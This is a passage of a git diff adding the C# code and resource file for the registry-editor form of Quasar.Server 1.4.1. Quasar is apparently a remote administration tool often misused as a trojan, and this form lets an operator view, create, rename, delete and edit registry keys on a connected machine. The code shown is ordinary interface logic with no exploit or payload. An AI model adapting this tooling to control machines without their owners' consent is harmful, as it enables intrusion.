regValue.Kind.RegistryTypeToString(null); + } + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void RenameValue(object sender, string keyPath, string oldName, string newName) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + var value = ((RegValueData[])key.Tag).First(item => item.Name == oldName); + value.Name = newName; + + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == oldName); + if (valueItem != null) + valueItem.RegName = newName; + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void ChangeValue(object sender, string keyPath, RegValueData value) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); + ChangeRegistryValue(value, regValue); + + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == value.Name); + if (valueItem != null) + valueItem.Data = RegValueHelper.RegistryValueToString(value); + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void ChangeRegistryValue(RegValueData source, RegValueData dest) + { + if (source.Kind != dest.Kind) return; + dest.Data = source.Data; + } + + private void UpdateLstRegistryValues(TreeNode node) + { + selectedStripStatusLabel.Text = node.FullPath; + + RegValueData[] ValuesFromNode = (RegValueData[])node.Tag; + + PopulateLstRegistryValues(ValuesFromNode); + } + + private void PopulateLstRegistryValues(RegValueData[] values) + { + lstRegistryValues.BeginUpdate(); + lstRegistryValues.Items.Clear(); + + //Sort values + values = ( + from value in values + orderby value.Name ascending + select value + ).ToArray(); + + // Add items in batch for better performance + RegistryValueLstItem[] items = new RegistryValueLstItem[values.Length]; + for (int i = 0; i < values.Length; i++) + { + items[i] = new RegistryValueLstItem(values[i]); + } + + lstRegistryValues.Items.AddRange(items); + lstRegistryValues.EndUpdate(); + } + + #endregion + + #region tvRegistryDirectory actions + + private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) + { + if (e.Label != null) + { + e.CancelEdit = true; + + if (e.Label.Length > 0) + { + if (e.Node.Parent.Nodes.ContainsKey(e.Label)) + { + MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + } + else + { + _registryHandler.RenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label); + tvRegistryDirectory.LabelEdit = false; + } + } + else + { + MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + e.Node.BeginEdit(); + } + } + else + { + //Stop editing if no changes where made + tvRegistryDirectory.LabelEdit = false; + } + } + + private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e) + { + TreeNode parentNode = e.Node; + + // If nothing is there (yet). + if (string.IsNullOrEmpty(parentNode.FirstNode.Name)) + { + tvRegistryDirectory.SuspendLayout(); + parentNode.Nodes.Clear(); + + _registryHandler.LoadRegistryKey(parentNode.FullPath); + + tvRegistryDirectory.ResumeLayout(); + + e.Cancel = true; + } + } + + private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + //Bug fix with rightclick not working for selectednode + tvRegistryDirectory.SelectedNode = e.Node; + + //Display the context menu + Point pos = new Point(e.X, e.Y); + CreateTreeViewMenuStrip(); + tv_ContextMenuStrip.Show(tvRegistryDirectory, pos); + } + } + + private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEventArgs e) + { + UpdateLstRegistryValues(e.Node); + } + + private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete && GetDeleteState()) + deleteRegistryKey_Click(this, e); + } + + #endregion + + #region ToolStrip and contextmenu helper functions + + private void CreateEditToolStrip() + { + this.modifyToolStripMenuItem1.Visible = + this.modifyBinaryDataToolStripMenuItem1.Visible = + this.modifyNewtoolStripSeparator.Visible = lstRegistryValues.Focused; + + this.modifyToolStripMenuItem1.Enabled = + this.modifyBinaryDataToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem2.Enabled = GetRenameState(); + this.deleteToolStripMenuItem2.Enabled = GetDeleteState(); + } + + private void CreateTreeViewMenuStrip() + { + this.renameToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + + this.deleteToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null; + } + + private void CreateListViewMenuStrip() + { + this.modifyToolStripMenuItem.Enabled = + this.modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryValues.SelectedItems.Count == 1; + + this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); + + this.deleteToolStripMenuItem1.Enabled = tvRegistryDirectory.SelectedNode != null && lstRegistryValues.SelectedItems.Count > 0; + } + + #endregion + + #region MenuStrip actions + + private void editToolStripMenuItem_DropDownOpening(object sender, EventArgs e) + { + CreateEditToolStrip(); + } + + private void menuStripExit_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void menuStripDelete_Click(object sender, EventArgs e) { + if(tvRegistryDirectory.Focused) + { + deleteRegistryKey_Click(this, e); + } + else if (lstRegistryValues.Focused) + { + deleteRegistryValue_Click(this, e); + } + } + + private void menuStripRename_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.Focused) + { + renameRegistryKey_Click(this, e); + } + else if (lstRegistryValues.Focused) + { + renameRegistryValue_Click(this, e); + } + } + + #endregion + + #region lstRegistryKeys actions + + private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + Point pos = new Point(e.X, e.Y); + + //Try to check if a item was clicked + if (lstRegistryValues.GetItemAt(pos.X, pos.Y) == null) + { + //Not on a item + lst_ContextMenuStrip.Show(lstRegistryValues, pos); + } + else + { + //Clicked on a item + CreateListViewMenuStrip(); + selectedItem_ContextMenuStrip.Show(lstRegistryValues, pos); + } + } + } + + private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) + { + if (e.Label != null && tvRegistryDirectory.SelectedNode != null) + { + e.CancelEdit = true; + int index = e.Item; + + if (e.Label.Length > 0) + { + if (lstRegistryValues.Items.ContainsKey(e.Label)) + { + MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + lstRegistryValues.Items[index].BeginEdit(); + return; + } + + _registryHandler.RenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + lstRegistryValues.Items[index].Name, e.Label); + lstRegistryValues.LabelEdit = false; + } + else + { + MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); + lstRegistryValues.Items[index].BeginEdit(); + + } + } + else + { + lstRegistryValues.LabelEdit = false; + } + } + + private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete && GetDeleteState()) + deleteRegistryValue_Click(this, e); + } + + #endregion + + #region ContextMenu + + private void createNewRegistryKey_Click(object sender, EventArgs e) + { + if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0) + { + //Subscribe (wait for node to expand) + tvRegistryDirectory.AfterExpand += this.createRegistryKey_AfterExpand; + tvRegistryDirectory.SelectedNode.Expand(); + } + else + { + _registryHandler.CreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath); + } + } + + private void deleteRegistryKey_Click(object sender, EventArgs e) + { + // prompt user to confirm delete + string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; + string caption = "Confirm Key Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; + + _registryHandler.DeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name); + } + } + + private void renameRegistryKey_Click(object sender, EventArgs e) + { + tvRegistryDirectory.LabelEdit = true; + tvRegistryDirectory.SelectedNode.BeginEdit(); + } + + #region New registry value actions + + private void createStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.String); + } + } + + private void createBinaryRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_BINARY + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.Binary); + } + } + + private void createDwordRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_DWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.DWord); + } + } + + private void createQwordRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_QWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.QWord); + } + } + + private void createMultiStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_MULTI_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.MultiString); + } + } + + private void createExpandStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + // request the creation of a new Registry value of type REG_EXPAND_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.ExpandString); + } + } + + #endregion + + #region Registry value edit actions + + private void deleteRegistryValue_Click(object sender, EventArgs e) + { + //Prompt user to confirm delete + string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?"); + string caption = "Confirm Value Delete"; + var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + + if (answer == DialogResult.Yes) + { + foreach (var item in lstRegistryValues.SelectedItems) + { + if (item.GetType() == typeof(RegistryValueLstItem)) + { + RegistryValueLstItem registryValue = (RegistryValueLstItem) item; + _registryHandler.DeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registryValue.RegName); + } + } + } + } + + private void renameRegistryValue_Click(object sender, EventArgs e) + { + lstRegistryValues.LabelEdit = true; + lstRegistryValues.SelectedItems[0].BeginEdit(); + } + + private void modifyRegistryValue_Click(object sender, EventArgs e) + { + CreateEditForm(false); + } + + private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) + { + CreateEditForm(true); + } + + #endregion + + #endregion + + private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) + { + if (e.Node == tvRegistryDirectory.SelectedNode) + { + createNewRegistryKey_Click(this, e); + + tvRegistryDirectory.AfterExpand -= createRegistryKey_AfterExpand; + } + } + + #region helper functions + + private bool GetDeleteState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count > 0; + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; + } + + private bool GetRenameState() + { + if (lstRegistryValues.Focused) + return lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); + else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) + return tvRegistryDirectory.SelectedNode.Parent != null; + return false; + } + + private string[] _pendingNavigationPath = null; + private int _currentNavigationIndex = 0; + + private void btnNavigate_Click(object sender, EventArgs e) + { + NavigateToPath(txtSearchPath.Text); + } + + private void txtSearchPath_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + NavigateToPath(txtSearchPath.Text); + e.Handled = true; + e.SuppressKeyPress = true; + } + } + + private void NavigateToPath(string path) + { + if (string.IsNullOrWhiteSpace(path)) + return; + + path = path.Trim(); + + // Split the path into parts + string[] parts = path.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries); + + if (parts.Length == 0) + return; + + // Find the root node + TreeNode currentNode = null; + foreach (TreeNode node in tvRegistryDirectory.Nodes) + { + if (node.Name.Equals(parts[0], StringComparison.OrdinalIgnoreCase)) + { + currentNode = node; + break; + } + } + + if (currentNode == null) + { + MessageBox.Show($"Registry root key '{parts[0]}' not found.", "Navigation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + // Start navigation from index 1 (skip root) + _pendingNavigationPath = parts; + _currentNavigationIndex = 1; + ContinueNavigation(currentNode); + } + + private void ContinueNavigation(TreeNode currentNode) + { + // Check if form is closing or navigation was cancelled + if (_pendingNavigationPath == null || this.IsDisposed || this.Disposing) + return; + + if (_currentNavigationIndex >= _pendingNavigationPath.Length) + { + // Navigation complete + _pendingNavigationPath = null; + tvRegistryDirectory.SelectedNode = currentNode; + currentNode.EnsureVisible(); + return; + } + + // Check if this node has unloaded children (dummy node) + if (currentNode.Nodes.Count == 1 && string.IsNullOrEmpty(currentNode.Nodes[0].Name)) + { + // Need to load this node's children + // The AddKeys handler will call ContinueNavigation when data arrives + tvRegistryDirectory.SuspendLayout(); + currentNode.Nodes.Clear(); + _registryHandler.LoadRegistryKey(currentNode.FullPath); + tvRegistryDirectory.ResumeLayout(); + + // Expand the node to trigger visual update + if (!currentNode.IsExpanded) + currentNode.Expand(); + + return; // Wait for AddKeys to continue + } + + // Find the next child node + string targetName = _pendingNavigationPath[_currentNavigationIndex]; + TreeNode childNode = null; + + foreach (TreeNode node in currentNode.Nodes) + { + if (node.Name.Equals(targetName, StringComparison.OrdinalIgnoreCase)) + { + childNode = node; + break; + } + } + + if (childNode == null) + { + // Path doesn't exist + string partialPath = string.Join("\\", _pendingNavigationPath, 0, _currentNavigationIndex + 1); + MessageBox.Show($"Registry path '{partialPath}' not found.", "Navigation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + + _pendingNavigationPath = null; + tvRegistryDirectory.SelectedNode = currentNode; + currentNode.EnsureVisible(); + return; + } + + // Move to next level + _currentNavigationIndex++; + ContinueNavigation(childNode); + } + + private Form GetEditForm(RegValueData value, RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return new FrmRegValueEditString(value); + case RegistryValueKind.DWord: + case RegistryValueKind.QWord: + return new FrmRegValueEditWord(value); + case RegistryValueKind.MultiString: + return new FrmRegValueEditMultiString(value); + case RegistryValueKind.Binary: + return new FrmRegValueEditBinary(value); + default: + return null; + } + } + + private void CreateEditForm(bool isBinary) + { + string keyPath = tvRegistryDirectory.SelectedNode.FullPath; + string name = lstRegistryValues.SelectedItems[0].Name; + RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); + + // any kind can be edited as binary + RegistryValueKind kind = isBinary ? RegistryValueKind.Binary : value.Kind; + + using (var frm = GetEditForm(value, kind)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _registryHandler.ChangeRegistryValue(keyPath, (RegValueData) frm.Tag); + } + } + } + + #endregion + + private void lblSearch_Click(object sender, EventArgs e) + { + + } + + private void statusStrip_ItemClicked(object sender, ToolStripItemClickedEventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.resx new file mode 100755 index 0000000..f4fb703 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.resx @@ -0,0 +1,769 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 126, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm + BwAAAk1TRnQBSQFMAwEBAAFoAQUBaAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA + AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA + AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm + AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ + AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm + AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz + AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm + AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm + AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA + ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm + AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm + ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm + AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA + AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ + AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz + AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/ + AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA + AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM + AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm + ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ + AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/ + ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM + ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm + AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM + AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA + AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA + ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7 + Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/+CAAEaAZkLUgEaMgABdAEb + ARoEmgV6AcMBUjIAAVIB9gGgApoDegRZAcMBUjIAAVIB9gHDAaACmgN6A1kBwwFSMgABUgH2AsMCoAGa + A3oCWQHDAVIyAAFSAv8D9gHDApoDegHDAVIyAAFSAfYCmgF6ARsG9gH/AVgyAAFYAfYDmgJ6ApoDegH2 + AVgyAAFYAfYDmgEaBvYB/wF5MgABWAX/AfYEeQKZARsyAAd5B//xAAFCAU0BPgcAAT4DAAEoAwABQAMA + ARADAAEBAQABAQUAAYAXAAP/AQAC/wYAAv8GAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGA + AQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAL/BgAC/wYAAv8GAAs= + + + + 323, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk + CQAAAk1TRnQBSQFMAgEBAgEAAYgBBAGIAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0EAA+8DAATvAwAG7wMA + BO8DAAPvIAAB7wL/A+8E/wPvAv8C7wL/A+8E/wPvAv8B7yAAAe8O/wLvDv8B7yAAAQcD/wH0Bf8B9AT/ + Ae8BBwL/AawC/wHVAf8CrAEZAf8BrAL/Ae8gAAHwAf8BvQL5AeMBRwH/AUcBFwL5AZQC/wHvAfAC/wGs + Av8B1QH/AdUB9AHZAf8BrAL/Ae8gAAHwAf8BFgHjAf8BlAFHAf8BRwGUAv8B+QL/Ae8B8AL/AawB/wH0 + AdUB/wGsARkB2QEZAawC/wHvIAAB8AH/Ab0B+QIWARcB/wFHAb0C/wEXAb0B/wHvAfAB/wHTAawB/wHT + AawB/wHVAawB/wHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAC/wEX + Ab0B4wEWAf8BRwH5Ab0BlAEXAv8B7wHwAv8BrAH/AqwBGQH/AdMB/wHTAawC/wHvIAAB8AH0Af8BvQKU + Av8BRwG9ApQD/wHvAfAB9AH/AawB/wGsAf8BrAH/AdMBGQHVARkB1QH/Ae8gAAHwAfQG/wFHAb0B/wXv + AfAB9AH/AawB/wGsAf8B1QEZAdMB9AXvIAAB8AL0Bf8BRwG9Af8B7wHxAfMB9AHvAfAB9AHTAawB/wHc + AawBGQHVAawB/wHvAfEB8wH0Ae8gAAHwAfMC9Af/Ae8B8wH0Ae8BAAHwAfMC9Af/Ae8B8wH0Ae8hAAHw + AfEB8wP0Bf8B7wH0Ae8CAAHwAfEB8wP0Bf8B7wH0Ae8iAAXwBQcD7wMABfAFBwPvIwABQgFNAT4HAAE+ + AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAEcATgBHAE4XQABAQEAAQEFAAEDAQABAwUA + AQcBAAEHBAAL + + + + 17, 17 + + + 1075, 17 + + + 516, 17 + + + 682, 17 + + + 907, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + 